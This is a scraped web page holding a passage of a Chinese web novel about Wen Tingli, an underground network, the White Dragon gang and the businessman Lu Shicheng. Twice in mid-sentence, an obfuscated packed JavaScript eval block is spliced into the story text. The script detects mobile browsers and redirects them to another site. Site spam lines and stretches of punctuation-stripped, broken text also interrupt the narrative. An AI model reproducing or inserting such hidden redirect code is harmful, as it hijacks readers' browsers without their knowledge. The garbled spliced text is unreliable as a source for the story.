“出事后,那位伍星云教授经常以师父的身份来陆家探望陆世澄,几年后,又开始手把手教陆世澄数学,他的门生个个都能提前考入大学,陆世澄也不例外,十五岁时就考进了南洋公立大学读经济系,听说在系里名列前茅,念了三年之后,陆世澄因为‘某些缘故’来了上海,伍星云就帮他联络了自己的母校沪江大学,陆世澄便转到这边来念书了,一边念书一边主理这边的业务,一年前正式毕业。” 末了高筱文慢条斯理说:“我大哥他们经常开玩笑,陆世澄光是用人的本事就令人称道——南洋的伍星云、上海的邝志林,这两位可都是难得一见的经商奇才,邝志林也就罢了,他本就是陆大爷生前的心腹,伍星云可是陆世澄自己笼络的,他当时才多大,竟能驱使这样的怪才为自己所用,那么两年前,他能不声不响夺回陆家的主事权也就不足为奇了——欸?” 她惊奇地瞪着窗外:“你们瞧,陆世澄不会同意跟我大哥吃晚饭了吧?不行不行,我得出去听听他们在说什么——你们还记得那晚在仙乐丝我说过要创办一家香粉公司吧,文书我都做好了,就是还得拉些股东才行,你们在这等我的好消息。” “等等,你大哥究竟要找陆先生做什么?” “还不是为了逸菲林名下要新开一家游乐场的事,他已经说动孟麒光入股,又试图说服陆世澄出资,可因为陆世澄不同意自己只占两股没能说成,说来奇怪,白龙帮好像也对游乐场这个计划很感兴趣,前一阵,曹帮主突然找我大哥说要入股,以往白龙帮插手别人的买卖时从来只签空头支票,这次曹帮主竟主动带来了一大箱现金。我大哥不愿意跟白龙帮搅在一起,自是不肯收这笔钱,可他又怕白龙帮惦记剩下的股份,于是急三火四去游说陆世澄。” 闻亭丽心中一动,那日邱凌云带人来仙乐丝闹事时,曾声称他们帮主要招待一位北平来的贵客。 这位北平贵客,会不会就是这次的出资人?这人究竟什么来头,能一下拿出这么多钱,关键还如此神秘。 说话这工夫,高筱文已经风风火火朝外面走了,因为走得太急,不小心跟一位进店的老太太撞了一下。 说来奇怪,西式咖啡馆的顾客向来以年轻人居多,鲜少见到老人光顾,老太太躬身慢慢走着,似在找寻什么人。 路过这桌时,闻亭丽只觉脚踝边被什么东西碰了一下,一低头,就看见脚下落着一个不起眼的糖纸纸团,心知有异,趁人不主意把那张糖纸捡起。 【3895-893,平。】 闻亭丽胸膛一阵狂跳,“平 闻亭丽四下一顾,前台就有电话,让燕珍珍和赵青萝帮忙照看小桃子,起身去刚打电话。 拨过去,果然通了:“喂,我是—— “小闻,你别说话,听我说。那正是厉成英的声音,“陆三爷来上海了,前两天连同白龙帮的人派人刺伤了我们两名同伴。 闻亭丽的心一瞬间跳到了嗓子眼里。 “白龙帮一直想搭着陆家做南洋一地的生意,但陆家严禁自家子弟跟帮派搅在一起,陆克俭大约是想重新夺回陆家的大权,所以才会违背祖训跟曹振元联手,他二人一联手,对我们形势会极其不利,眼下只有一个人能破这个局,就是陆世澄,而欣欣百货和逸菲林的这场博弈,就是最好的机会。 闻亭丽忍着发问的冲动。 “陆世澄比任何人都了解他三叔的弱点,我们与其日夜防备白龙帮和陆克俭,不如直接借助陆世澄的手瓦解他二人的联盟。 接下来,厉成英说出了自己的计划。 陆三爷和曹振元既看中了高家的买卖,势必会通过支持逸菲林的比赛来向高庭新卖好,高庭新未必愿意受白龙帮的桎梏,故而急着来找陆世澄。 陆世澄得知他三叔参与其中,定会想办法离间曹振元和陆克俭,曹振元为人阴险多疑,一旦生出嫌隙,绝不会再全心全意任由陆三爷差遣。 如此一来,白龙帮和陆三爷的所谓“联盟自然会土崩瓦解,厉成英便可以趁机在陆克俭和白龙帮两边各自安排埋伏。 现在问题是,厉成英无法预估陆世澄会怎样做,而以陆三爷往日的作风,计划一失败马上就会从上海撤离,此人的势力目前全在北平,他一撤走,她们这边就不好布局了,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255000|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留给厉成英的时间和机会不多…… 听完全盘布局,闻亭丽下意识转头 望向对街那个人影,她已经听明白了:在这件事上,她跟陆世澄的立场其实是一致的。 只不过他在明,她在暗。 两方共同的敌人都是陆三爷和白龙帮。 这让她的内心不再像上次那样纠结。 何况,厉成英过来找她时,甚至不敢暴露自己的本来面目。她猜她要么受了伤,要么必须用这种方式甩掉自己身后的耳目。 偏偏厉成英对自己的境况一字不提,可见并不想通过这些事来左右她的决定。 时至今日,闻亭丽早已明白为何邓院长会将厉成英视作心腹,也清楚为何连包亚明那样的知名律师也甘愿做厉成英的“下属,厉成英不仅能力超群,还有一份体恤人的宽广胸襟。 可这样一位出色的接班人,如今也面临着邓院长当初的困境,闻亭丽心中一紧,毫不犹豫地说:“嗯。 她紧紧攥住话筒,仿佛这样做能让厉成英感受到她的坚定。 厉成英在那头沉默良久:“还有一件事你需提前警惕,据天津的同伴说,曹振元前几天突然亲自去了一趟天津,估计是有什么安排——结合最近逸菲林大肆宣传的选美比赛,你最好多留意近日从天津来的女子,白龙帮胁迫起人来自有一套,根据曹振元以往的作派,他很可能会派人去接近陆世澄。 “您是说,这女子也会来参加选美比赛吗?闻亭丽捂住话筒小声说。 “具体的情况我们暂未查明,你可以在不暴露自己立场的前提下提醒陆世澄当心,不能再多说了,有事给这个号码打电话…… 闻亭丽惴惴回到桌边,高筱文踩着高跟鞋回来了。 “陆世澄答应跟我大哥吃饭了,我也得趁这机会推荐我的香粉公司,你们要不要一起? 闻亭丽忙说:“好。我想,陆小先生是沪江大学毕业的,也算是知名校友,待会如果他心情好,不知能不能帮我们写几封推荐信? 燕珍珍正忙于跟小桃子抢夺一块圆形巧克力糖球,闻言一拍桌子:“要说还是你机灵!万一我们的分数只是刚够上线,有了知名校友的推荐信,多多少少能增加一点印象分,就不知陆小先生肯不肯帮忙。 几个人兴冲冲出去。高筱文拉着闻亭丽几个上前打招呼,“这是我同学,陆先生应该见过。 ” 陆世澄望着闻亭丽好一阵没反应。 他在思索为何自己总能遇见闻亭丽。 闻亭丽却是一脸开心:“这么巧陆先生我们又见面了。” 陆世澄一低眸注意到她手里还牵着一个小女孩。 这孩子最多三岁活脱脱就是个小冬瓜。 “噢忘介绍了这是我妹妹小桃子。小桃子快说:陆先生好高先生好。”闻亭丽说。 小桃子躲在姐姐身后一脸戒备看看高庭新又看看陆世澄大约觉得陆世澄面善些于是像模像样对陆世澄欠了欠身:“陆先生好。” 高庭新怪叫一声:“喂小朋友你怎么不叫我呢?我是比他少只眼睛还是少只耳朵了?” 大伙都笑了。 陆世澄蹲下来煞有介事跟小桃子握了握手这才重新起身。 小桃子甚少遇到把她当作大人一样打招呼的人当即兴奋地仰头望向自己的姐姐用手一指陆世澄。 闻亭丽笑着对把妹妹的手按回去:“陆先生是很有礼貌的我们小桃子也要待人客客气气快叫高先生好。” “dao先生好。”小桃子稚声稚气地把“高”叫成了“刀”一班人又笑了。 “既然几位女士有兴趣一起去我们这就出发吧。”高庭新意气风发地说“地方不远就在富春大饭店。” 忽一愣:“筱文你的车呢?” “没开今天我可是坐你的车出来的。” “这——”高庭新犯起了难筱文一共带来了三位同学不加上小桃子一共是四位女士一辆车装不下这么多人临时从车行调车呢 倘若丢下两位女士在路边等出租车——问题倒是解决了可这也太不绅士了。 高筱文早就蠢蠢欲动了忙拉住闻亭丽的手:“要不我们几个坐陆先生的车吧就不知会不会打搅陆先生?”她用一种淑女化的口吻矜持地询问陆世澄。 陆世澄正待上车回头看见这情形毫无难色点点头。 “我就知道我就没见过比陆先生更随和的人。”高筱文高兴地拉着闻亭丽过去上车高庭新一看就 知道妹妹和她同学在打什么主意,无非是想趁单独相处的机会游说陆世澄投资她自己的香粉公司。 这个闻亭丽,倒挺能帮妹妹制造机会,他闪身挡在前头:“欸,你坐大哥的车,路上我有话要跟你说。 不由分说把高筱文拽到自己的车上去了,又过来强行“邀请闻亭丽,不提防看见小桃子满手的巧克力酱,顿时缩回了手。 他那辆车可是新买的,崭新的杏白色皮子怎经得起小孩子这样揉杂。 可他又不好公然露出嫌弃的表情,只好假装成自己的目标是燕珍珍和赵青萝,改邀她们上了车。 闻亭丽知趣地留在路边:“高先生你们先走,我和小桃子在这里等车行的车就可以了。 一边说,一边弯腰用帕子帮妹妹擦手。 陆世澄看见这情形,下车打开这边的车门,示意闻亭丽上车。 闻亭丽忙摆手:“谢谢陆先生,我们等一等就好了,我怕小桃子身上的零食弄脏陆先生的车。 说完这话故意等了一等,却半天没等来陆世澄的回应,一抬眸,就看见他不动声色看着她,目光里竟有几分探究的意味,这是陆世澄第一次露出这种表情。 闻亭丽心尖一颤,刚才她为了不上高庭新的车故意捏碎小桃子的巧克力糖球,料着陆世澄绝不会注意她这些小动作,可他分明已经把她的所作所为都看在了眼里,可他没有当众拆穿她,而是尽量在人前维护她的面子。 她咬唇低头,嘴边却露出一点笑意,再抬头,陆世澄已然恢复了平日那淡然的表情,仿佛一切只是她的错觉。 他正色看着她,又指了指马路边的车行广告,如果她不愿意坐他的车,他可以帮她叫车。 闻亭丽不假思索带着小桃子上车:“那就谢谢陆先生了。 这下轮到高庭新不好意思了,陆世澄看上去比他还要洁癖,竟毫不在意这些小事,他搓搓手:“好了,这下可以出发了。 上车后,闻亭丽表面上忙着帮小桃子拾掇,注意力却全放在前座的陆世澄身上。 厉成英交给她的第一个任务,就是“不经意把陆三爷暗中潜回上海的消息透露给陆世澄。陆三爷分明是有备而来,这次又有白龙帮的人帮他瞒天过海,看情形他们做得很成功,陆世澄这边 第 31 章 制造机会。 “我们三个还有事,表哥,你和筱文先走吧。”紧接着,赵青萝鼓足勇气走到陆世澄身后,“陆先生,能不能请您帮我们写几封推荐信?我们三个都报了沪江,听说如果有校友的推荐信,会增加一点印象分。” 陆世澄从衣兜里掏出那支笔,然而一时找不到写字的纸,闻亭丽忙从书袋里取出自己的小本子递给他。 陆世澄看她一眼,考完后她好像就没再温习过单词,这次的本子干净得很,他很快在上头写下一行字。 【单独给你们三位写推荐信,对同年级的其他学生不公平,所以,恕我不能答应你们的请求。】 赵青萝和燕珍珍顿时语塞,她们原也能言善辩,但在这位年轻的大校董面前明显比平时拘束一些。 “可如果这时候有人请到别的校友帮自己写推荐信,岂不是对我们不公平?”闻亭丽代同伴问出眼下最担心的问题。 【据我所知,沪江不会因一封推荐信就给某位学生加分,即便是知名校友推荐,最多只能左右某位教授对你们的印象,只要你们能上线,就不必担心这些。】 赵青萝和燕珍珍神色一松。 【还有别的事吗?】陆世澄望着她们。 “没有了。”两人愉悦地说,虽然没能讨来推荐信,但陆世澄的话让她们心安了不少。 闻亭丽只在心里琢磨饭局上的光景,看情形,朱紫荷多半是有问题的,而从邹校长的话来看,接下来陆世澄还会频频跟朱紫荷见面。 那样聪明的女子,若真是白龙帮派来的,谁也不敢担保接下来会发生什么。可她眼下无凭无据,贸然跑去跟邹校长和陆世澄说朱紫荷不对劲,他们只会认为她在瞎造谣。 可是——过不几天,陆世澄就要在邹校长家跟朱紫荷见面了,而白龙帮最擅长的就是搞暗杀——不行!她得在弄清朱紫荷的动机之前阻止这人跟陆世澄频繁碰面。 忽瞄见不远处的报摊,她灵机一动,佯装着急地说:“瞧我,刚才忘记问筱文暑假工的事了,报纸上那些招聘广告听说有许多陷阱,不是熟人推荐的我也不敢去。” “你还惦记着找短工的事呢?”燕珍珍说。 “你又不是不知道闻亭丽现在有多困难。”赵青萝看看腕表,“今天是来不及了,要不明天我帮你 问问。” “我明天自己给筱文打电话问,我早上和晚间都有空的,家庭教师、洗碗工、送报纸……凡是正当工作我都能做。” 说这话时,闻亭丽时不时偷觑陆世澄。 陆世澄太稳,也太静了,不论她这边说什么,他只在一边安安静静等他的车,她不免有点丧气,车也蹭过了,推荐信的事也问明白了,再找借口跟陆世澄攀扯,说不定会引起他的反感。 不一会,陆家的车到了,陆世澄拔腿就走。 闻亭丽越是心不定,越不敢在面上流露出来,只文雅地冲同其他两个同学一起冲他摆手:“陆先生再见。” 上车时,陆世澄忽回头看了看,闻亭丽心中一喜,莫非他要以校方的名义帮她介绍短工,谁知陆世澄把头稍稍一偏,目光就这样从她腮边擦过,径直落到她身后的小桃子身上。 他对小桃子认认真真做了个“再见”的手势才上车。 闻亭丽傻了眼,偏偏小朋友最吃这一套,过后好几天,小桃子嘴里时常念叨“陆先生……” 这天下午闻亭丽趴在病房里的弹簧床上看报纸,又一次听见小桃子咿咿呀呀叨咕这话。 她忍不住对小桃子扮了个鬼脸:“小桃子……你能不能别再念了,姐姐的耳朵都要起茧子了。” 小桃子拍打着自己圆滚滚的肚皮,把脸蛋凑到姐姐面前,很轻很轻地吐出三个字:“要礼貌~~” 周嫂笑得前仰后合,闻亭丽也笑得捶床,好不容易止了笑,周嫂擦着眼角的泪花说:“还别说,这两天小桃子说话都比平时轻慢许多,这位陆先生究竟什么样子?为人是不是很和气?” 听到“陆先生”三个字,闻亭丽心里再次烦乱起来。 前几天她就收到了欣欣百货经理部的通知,她已经顺利通过第一轮筛选,初赛时间定在下礼拜一晚上。 逸菲林为了跟欣欣打擂台,也将初赛定在同一时间,这几日,两家为了造势,纷纷在各大报纸上位刊登各自的选手照片。 逸菲林特将朱紫荷的大幅照片放在报纸中间,美丽绝伦的一张脸,配上“知名画家”、“扫眉才子”等头衔,立即在坊间掀起了不小的波澜。 但闻亭丽知道,这还远远不够。假如她是朱紫荷,一定会利用邹校长家的那餐饭 拉近跟陆世澄的关系,他二人的母亲当年是同窗,中间又有一位念旧重感情的邹校长作陪,席间一番忆旧,不愁不能引陆世澄去逸菲林为捧自己捧场。 而陆家历来被实业界视作风向标,一旦陆世澄公开支持逸菲林的选手,别的商家多半也会转向,高家再趁热打铁做些宣传,本来稳赢的欣欣百货,说不定会被逸菲琳盖过风头。这期间,朱紫荷和陆世澄也会因频繁走动而变得越来熟稔,接下来朱紫荷无论是暗算陆世澄,抑或是利用感情诱惑陆世澄都不难。 这盘棋下得实在高妙!闻亭丽直叹气,不怪白龙帮能在沪上横行多年,就凭曹振元能找到朱紫荷这样的神仙人物接近陆世澄,就知道此人有多会谋算了。 可是,她始终不相信那样一位优秀的女子会心甘情愿为白龙帮做事,真想当面问问朱紫荷她是不是被胁迫了? 闻亭丽急归急,但还没有丧失理智。不管怎么说,邹校长家的聚会是个重要契机,眼下最好的法子莫过于她也成为邹校长家午餐中的一员,这样她便能在席上见机行事。 所以那晚之后她第一件事就是回母校去找米歇尔。 米歇尔一口回绝:“学校暑期的助学措施只针对尚未毕业的学生,你都已经毕业了,不符合条件。 这话正中闻亭丽下怀,她忙以此为借口去找邹校长。 邹校长当仁不让:“这事交给学生部,我叫他们帮你介绍靠谱的暑期工,一有消息我就让刘主任给你打电话。 闻亭丽自是感激不尽,见邹校长在窗台前提着水壶浇花,忙撸起袖子过去帮忙。 她干起活来格外卖力,一个钟头过去,房间每个角落都被打扫得闪闪发亮。 邹校长扶着眼镜四处参观:“不得了,不得了,我的好孩子!你这也太勤快了!够了够了,你先坐下喝口水。 闻亭丽一边浇花一边欢快地说:“您上次送我的那几本书我已经读完了,学生受益匪浅,可惜学校图书馆没看到同类型的书,不知能不能再向您借几本书回家看。 “这有何难?改天你到我家来,我从书房整理出十来本一并送你就是了。 “可是工作日您都在学校忙碌,要不这个礼拜日—— “这个礼拜日不行。邹校长笑着摇摇头, 我有一个小型的家庭聚会,除了那一天,其他时间都可以。” 闻亭丽暗暗叹气,话说到这份上了邹校长还不忘记自己的安排,可见极重视这次聚会,即便她“碰巧”登门拜访,邹校长也不可能留她吃饭。 既然无法在邹家吃饭,那就只能阻止陆世澄赴约了……好在还有一个礼拜的时间供她筹谋,一从校长室出来,她就火急火燎给高筱文打电话。 才半天,高筱文就帮闻亭丽弄到了两份不错的暑期零工。 第一份工作是在学校附近的埃克瑟伦洋行做接线员,时间是下午一点到五点,另一个则是当送报工,时间是早上五点半,工钱只有小洋四角。 两份工作的共同点就是离陆公馆不远。 “接线员也就算了,真搞不懂你为什么巴巴地要做送报工,工钱你也听见了,实在不划算,况且下礼拜你就去欣欣白虎参加初赛了。” “我问过欣欣的经理,他说初赛和决赛都将在晚上举行,所以时间上不冲突,而且我那部戏的女主为了维持生活曾经当过送报工,黄经理担心我表演经验不足,特地叮嘱我做做类似的零工积攒经验,关键你也说人家同意日结,横竖这几天我也闲着,能挣一天工钱是一天。” 她在电话里向高筱文道过谢,火速跑到燕珍珍家里借了一辆闲置的脚踏车,回来后打电话同厉成英商量完整个计划,便找出了一套短衫长裤准备第二天早点起床上工。 上次为了接近陆世澄她已经用过种种招数,这次不得不兵行险招,报纸是家家户户都有的习惯,陆公馆也不例外,只要成为送报工,她便可以正大光明每日到访陆公馆一次。有了那晚的铺垫,陆世澄看到她送报纸打零工,多半也不会感到太意外。 然而,老天像是铁了心促成陆世澄和朱紫荷的那顿饭,当天下午,厉成英突然打来电话:“计划有变,这几日陆世澄没住在陆公馆,我们得另外想办法。” 闻亭丽差点惊掉下巴:“他不在上海?” “在,但听上海总商会的人说邝志林生病了,那边现有许多事需由陆世澄亲自打点,陆世澄大约是太忙,就没顾得上回陆公馆,陆家的人一向谨慎,派车跟踪陆世澄的车定会被对方发现,不过你先不要急,我会尽快弄清楚他的下榻之处。实在不行的话,我们就把 行动地点改在邹校长寓所附近。” “可是邹校长的家不在我的送报路程内何况此前我已经探过邹校长的口风了假如那天我无缘无故出现在她家附近不只陆世澄会起疑将来邹校长联想前因后果也会怀疑我动机不纯的。再有姓邱的那瘪三——等等厉姐您刚才说邝志林生病了?” “你怀疑陆世澄现住在邝志林的寓所?”厉成英笑道“这一点我们也考虑过但我们并不知道邝志林住在何处此人极神秘以往从不在家中招待客人不说他在上海的寓所也极多一处一处盯梢的话只怕来不及。” 闻亭丽信心满满地说:“我有八成把握!我告诉您一个地址您即刻派人走一趟假如能确定陆世澄在那儿 小说全网首发无弹窗免费阅读caixs.com?(请来才 小说 看最新章节 完整章节)我们还按照原计划进行。” 傍晚厉成英心悦诚服给闻亭丽回话:“还真叫你猜对了。”闻亭丽立即给高筱文打电话要求更换送报的范围。 “……你别生气呀我不是心血来潮我想明白了学校离慈心医院太远周嫂一个人在医院只怕照看不过来社长是你的熟人又是同一家报纸你行行好帮我换一换别人我绝不好意思开口谁叫你最有办法。” 高筱文最喜欢别人夸她有本事当即说:“行行行包在我身上不过你也得帮我一个忙。” 她神秘兮兮地说:“等我们公司的香粉盒设计好了回头你拍电影的时候找机会对着镜头用一用让人瞧见牌子就行就算帮我的公司打广告了。这事你必须给我办好!我知道你鬼点子多一部电影有那么多镜头你准有办法替我打广告” 闻亭丽笑着点头:“好好好我试试。” 高筱文果然神通广大当晚就帮闻亭丽把送报范围调换到了慈心医院附近。 第二日闻亭丽天不亮就上工了。头一回当送报工难免出些乱子好在她自小就在附近生活忙乱归忙乱也有惊无险地领到了当日的工钱。 拿到工钱之后闻亭丽更有干劲了钱虽不多却足够应付她自己一天的口粮。况且除了赚钱她目前还有更重要的任务在身每次经过甘家巷她都会踩住脚踏车四面张望。 记得那一次被邱大鹏和他的手下堵在甘家巷她不得已给邝先生的寓所打电话接电话的人恰是陆世澄。 他能那么快赶来帮她解围,想必邝先生的寓所就在甘家巷附近。 果不其然,当晚厉成英的人就在甘家巷其中一幢西班牙式的洋楼前蹲到了陆家的车。 再看收货地址,这一家对外写的是“陈”先生。 闻亭丽高兴地提笔在地址上画上一个圈,终于弄清楚邝志林住在何处了! 那往后,她每次给这家送报纸时都会格外留意,邝志林的起居十分规律,每天早晨七点门房会准时出来取报纸,可惜连续送了几天报纸,她从未在门口“偶遇”过陆世澄。 闻亭丽不由暗暗发急,好在礼拜六这天,厉成英那边回了消息:陆世澄这些天每晚都住在邝志林处,一切都安排好了。 闻亭丽心下稍安,当晚早早就睡下了。 同一时间,邱公馆的邱凌云却因为一通电话从沙发上弹了起来。 “你看清楚了?真是闻亭丽?” 不知电话那头说了句什么,邱凌云嘴角一咧,露出个坏到极点的笑容:“知道了。” 挂断电话,他愉悦地翘起二郎腿,随手把烟头掐灭,嘴边隐隐噙着一丝笑,邱大鹏进来看见儿子这副表情,一哂:“又在琢磨什么?” “儿子跟您说个笑话,今天常三他们看到闻亭丽在街上送报纸,她不是心比天高吗,怎么就沦落到这地步了,不行,我得亲眼去瞧瞧她这落魄相。” “瞧你那点出息!”邱大鹏骂道,“曹帮主交给你的事都办妥了?” 邱凌云脖子一缩:“都办完了。” 邱大鹏近前就是一个爆栗:“办完了就算完了?爹平日怎么教导你的,你得办得足够漂亮才能讨曹帮主欢心!当年你爹我跟闻德生一道从南京逃到上海,一晃这么多年过去,闻德生始终只能做点小买卖,你爹我却是步步高升,凭的是什么?凭的就是眼观六路耳听八方的本事,一件事交给你爹我,爹总是比别人办得更妥当才算完,这份本事你给我学着点!” “知道了……” 邱大鹏边骂边回身,不提防看见一茶几的报纸,抓起来一看,最上面的是欣欣百货和逸菲林的比赛新闻,他睃见选手名单里闻亭丽的照片,冷哼道:“敬酒不吃吃罚酒,送报纸算什么?以后她还有受不完的罪!” “您想怎么对付闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13255001|135222||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亭丽?” 邱凌云一脸防备。 “你爹我可没这个闲工夫看见这个朱紫荷了吗?这位才是陆世澄的新欢亏得闻亭丽再三再四拉扯陆家的旗号人家压根没瞧上她。”说着幸灾乐祸地一笑“想当初她连孟麒光都不肯跟这回该知道什么叫竹篮打水一场空了!” 回头看见儿子一脸快意邱大鹏啐道:“你给我听好了这次陆三爷的事至关重要办好了我们父子俩飞黄腾达指日可待办砸了保不齐会损兵折将这几日不论曹帮主交代你什么你都得给我打起十二分的精神来做!” *** 夜里闻亭丽睡梦里依稀听到瓢泼雨声五点起来看看窗外雨未停窗外白茫茫的一片。 她特地不吃早饭就出了门。 周嫂一路跟出来:“雨这样大千万别摔着了要不今天周嫂替你送报纸你留在病房里带小桃子。” “您又不认识路。”闻亭丽接过雨篷”放心我不会摔着的。” 一出去雨点忒啦啦砸下来刘海儿一下全湿了她努力睁大眼看前方却辨不清东南西北抬手抹了把脸下一波雨点又汹汹袭来。 再这样下去只怕误了时辰闻亭丽咬咬牙裹紧雨衣冲了出去。 一趟送下来衣领子和头脸几乎湿透了幸而路都走熟了不必时时刻刻抬头认路。 因有这场大雨抵达邝志林的寓所时比平日足足晚了半个钟头门房大约是等得不耐烦了居然在门口等着闻亭丽一边停车一边说“抱歉”冒雨抱起那堆用油纸包好的报纸急匆匆送到门前谁料地上太滑一不小心就摔了一跤。 “哎哟。”她故意发出一声惨叫。 女孩子声音清脆 门房拿起脚边的一把伞急急下台阶:“当心点小姑娘。” 稍后门房回屋邝志林在餐桌上问:“外头那是谁?” “送报纸的小姑娘来了快一个礼拜了平日里爱说爱笑的今天下着这样大的雨也出来送报纸我瞧她整个人都淋成落汤鸡了怪可怜的。”门房用湿布小心翼翼抹去油纸上的泥点子。 邝志林待要说话陆世澄早已走到窗前推开窗户向外看。 瓢泼大雨中 闻亭丽正试图扶起地上的脚踏车。邝志林一望之下,有些吃惊:“闻小姐?我说刚才的声音那么耳熟。” 只见闻亭丽抹了一把脸上的雨珠欲上车,但她右腿似乎受了伤,抬了好几下都抬不起来,那光景,要多狼狈有多狼狈。陆世澄望了一会,扭头看向身边的门房,指指外面。 “您要我把她扶进屋?可……邝先生这间公寓素来少有人知晓,万一走漏了风声——” “去吧。”邝志林说,“这位闻小姐跟我们算是熟人,看她的样子大概是摔着了,让她进屋喝杯热茶,再叫辆车送她回家。少爷和我可以从后门走,即便把她请进屋也发现不了什么,她这样淋着雨走回去少不得一场风寒。” 小说的域名caixs?(请来才 小说 看最新章节 完整章节) 门房忙应了。 陆世澄看看墙上的西洋钟,写了行字递给邝志林。 【时间还早,我到书房给南洋那边回两封信,闻亭丽这边耽误不了多久,等她一走,我再去邹校长家也不迟。】 邝志林:“也好。病了这几天手头堆了一大堆事,我先去力新银行。老周,你把闻小姐请进屋,注意千万别让她靠近书房。” 他匆匆拿起外套从后门离开了。这当口玄关的电话响了,门房恰巧走到大门前,顺势就拿起了电话,却是邹校长打来的。 “我是催世澄出发的。紫荷带来了一本旧相册,里面有一张我们三人当年的合照,紫荷听说世澄很思念自己的母亲,愿意把这张照片送给世澄,我猜世澄一定等不及要看照片。” 门房握着话筒问陆世澄:“少爷,您现在要走吗?” 陆世澄望望窗外那狼狈的身影,略一迟疑,拿起外套预备从后门离开,门房便对电话说:“邹校长,少爷马上就来。” 这时外头传来一阵喧嚷。 大雨中,一辆汽车拦在闻亭丽面前,一个二十出头的年轻男子把头探出来笑道:“哟,这不是闻亭丽吗?” 闻亭丽吃力地推着脚踏车掉转方向,那帮流氓呼啦啦将她挡住:“你聋了?我们邱少堂主在问你话呢!” 闻亭丽故作惊讶仰望四周:“什么少舵主臭舵主?我只瞧见几只臭哄哄的苍蝇。” “你找死!” “让她骂,反正她也只剩嘴皮子厉害了。”邱凌云跳下车,身后自有人给他撑起一把伞,“ 怎么,没能搭上陆家这棵大树?短短几日都沦落到送报纸了。” 闻亭丽:“我为什么送报纸,你心里没数吗?” 邱凌云把伞撑到闻亭丽的头上帮她挡雨,叹口气道:“我知道,你们一家老小现在全指望你一个人挣钱,看你弄得这样狼狈我心里也不好受,我承认,是我们邱家是对不起你们闻家,我也说了,我愿意拿一辈子赔你。只要你肯跟我,以后别说让你在风雨里奔波,我连一个雨滴都不会让你沾到,我给你买大宅、雇仆人、配豪车,珠宝首饰,四季衣裳,你要什么我给你什么。” 闻亭丽瞥瞥邱凌云:“真的?” 邱凌云身子顿时酥了半边:“我什么时候骗过你?” 闻亭丽心知厉成英派来保护她的人就埋伏在附近,于是用挑衅的眼神看着邱凌云:“我只要一样东西——你爹邱大鹏的狗命,你给不给?!” 邱凌云怫然变色:“你别不识好歹!” 一把扣住闻亭丽的手腕,强行拽着她上车。 “道歉我已经道过了,软话我已经说得够多了,上次你伙同孟麒光打我我也不计较了,你别给脸不要脸!” 闻亭丽一边大声喊“救命”,一边骂道:“我看你是好了伤疤忘了痛,信不信我叫你吃不了兜着走。” 邱凌云最恨闻亭丽来这套:“你不是又要搬出陆家吧?你叫,你自管叫!别说陆世澄压根没瞧上你,就算他诚心护你,往后也未必护得住了!” 闻亭丽故意大笑:“这人怕不是失心疯了,你以为你傍上白龙帮就可以不把陆家放在眼里了,连你们曹帮主都不敢得罪陆世澄,你凭什么说这样的大话?!” “那是过去。”邱凌云皮笑肉不笑,“你等着瞧吧,他陆世澄狂不了多久了!” 闻亭丽心中一动,继续大声激他道:“我不信,你倒是细说说。不敢说吧,我就知道你在吹牛。” 邱凌云恼羞成怒将闻亭丽搡进车,闻亭丽两手死死扳住车框:“放开我!” 忽觉背后一松,邱凌云被人拽住后衣重重搡到了地上。 来人身法又快又狠,邱凌云还没瞧清对方是谁,就被摁在地上挨了好几下,奇怪旁边的小弟也不上来帮忙只在边上看着。 “你们是死人啊?还不过来帮我?!”邱凌云 第 32 章 共处一室。 第32章共处一室。 闻亭丽是被一阵低细的说话声惊醒的。 那是一个洋人的声音,依稀有点耳熟,她循声想要转动脑袋,只恨没力气,忽记起那是陆公馆见过的那位路易斯大夫的声音。 “右腿只是一点擦伤,现在主要问题是低血糖和发烧……据我看,闻小姐这场病是太劳累所致,她严重缺乏睡眠和营养,精神上也太过紧张,这场风寒对她来说像压死骆驼的最后一根稻草,幸亏她年轻体健,换成体弱的早酿成一场大病了,先让她好好休息,等她醒来后让她吃点清淡的粥点,我再给她开些维他命丸(注)。” 闻亭丽一动也不敢动,看样子,她还在邝志林的家里。 糟了!也不知道有没有成功阻止陆世澄赴约。 却听路易斯说:“陆先生,刚才来得太急不小心落了几样东西,我先回诊所一趟,梅丽莎,你留下来照看病人。” 闻亭丽下意识屏住呼吸,所以另一人是陆世澄! 看样子她的话起了作用,他终究因为好奇邱凌云向她透露了什么而未走,装昏是万不得已的一招,为求逼真,早上出门前她特地没吃早饭,想必她的表演很成功……不,她是真的生病了,因为此刻的她身上没有一处骨头不酸疼。 若非如此,她未必能骗得过陆世澄。 她苦笑了一下,意图睁开眼,太阳穴却突突直跳,那种压榨般的眩晕感委实不好受,勉强捱了一阵,总算撑开一条缝悄悄打量四周。 这是一间宽阔的套房,卧室外俨然另有起居室,屋子里光线明亮,但分不清是上午还是下午。 想起早上那场大雨,她在被褥里摸了摸自己,惊觉自己身上不知何时被人换了一套干净衣裳。 她吓出一身冷汗。 就听外面一个女人惊讶地说:“您是说闻小姐醒了?” 旋即有个护士探头进来:“呀,她真醒了。” 眼看闻亭丽神色慌乱,护士笑吟吟进屋解释说:“您别担心,是我帮您换的衣裳。陆先生耳力真好,我以为你还没醒呢。” 闻亭丽看看外间,对梅丽莎说:“谢谢您,请问现在几点钟了?” “十一点半。”护士过来帮她量体温。 什么,她才昏睡了三个钟头?! 